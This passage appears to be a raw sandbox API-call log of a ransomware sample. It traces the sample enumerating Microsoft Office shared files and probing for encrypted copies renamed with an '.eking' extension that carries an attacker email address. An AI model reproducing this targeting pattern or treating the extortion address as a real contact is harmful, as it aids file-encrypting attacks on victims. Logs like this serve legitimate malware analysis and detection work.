returned 1 [0171.477] CloseHandle (hObject=0x1e8) returned 1 [0171.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0171.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0171.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.486] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=295663) returned 1 [0171.486] CloseHandle (hObject=0x1e8) returned 1 [0171.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0171.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0171.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.486] SetEvent (hEvent=0x174) returned 1 [0171.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.488] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=11463) returned 1 [0171.488] CloseHandle (hObject=0x1e8) returned 1 [0171.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0171.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0171.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.490] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=17280) returned 1 [0171.490] CloseHandle (hObject=0x1e8) returned 1 [0171.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0171.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0171.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.491] SetEvent (hEvent=0x174) returned 1 [0171.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.493] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=13696) returned 1 [0171.493] CloseHandle (hObject=0x1e8) returned 1 [0171.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0171.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0171.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.493] SetEvent (hEvent=0x174) returned 1 [0171.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.767] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=123776) returned 1 [0171.767] CloseHandle (hObject=0x1e8) returned 1 [0171.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 0x20 [0171.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 0x20 [0171.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.768] SetEvent (hEvent=0x174) returned 1 [0171.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.769] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8918) returned 1 [0171.769] CloseHandle (hObject=0x1e8) returned 1 [0171.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0171.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0171.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.770] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1844) returned 1 [0171.770] CloseHandle (hObject=0x1e8) returned 1 [0171.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0171.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0171.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.771] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=39017) returned 1 [0171.771] CloseHandle (hObject=0x1e8) returned 1 [0171.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0171.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0171.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.772] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2687) returned 1 [0171.772] CloseHandle (hObject=0x1e8) returned 1 [0171.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0171.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0171.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.774] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8564) returned 1 [0171.774] CloseHandle (hObject=0x1e8) returned 1 [0171.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0171.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0171.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.775] SetEvent (hEvent=0x174) returned 1 [0171.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.775] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=227311) returned 1 [0171.775] CloseHandle (hObject=0x1e8) returned 1 [0171.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0171.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0171.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.777] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=110976) returned 1 [0171.777] CloseHandle (hObject=0x1e8) returned 1 [0171.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 0x20 [0171.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 0x20 [0171.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.778] SetEvent (hEvent=0x174) returned 1 [0171.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.779] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1183416) returned 1 [0171.779] CloseHandle (hObject=0x1e8) returned 1 [0171.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0171.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0171.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.780] SetEvent (hEvent=0x174) returned 1 [0171.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.781] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=364928) returned 1 [0171.781] CloseHandle (hObject=0x1e8) returned 1 [0171.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 0x20 [0171.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 0x20 [0171.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.782] SetEvent (hEvent=0x174) returned 1 [0171.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.783] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=13684) returned 1 [0171.783] CloseHandle (hObject=0x1e8) returned 1 [0171.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 0x20 [0171.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: 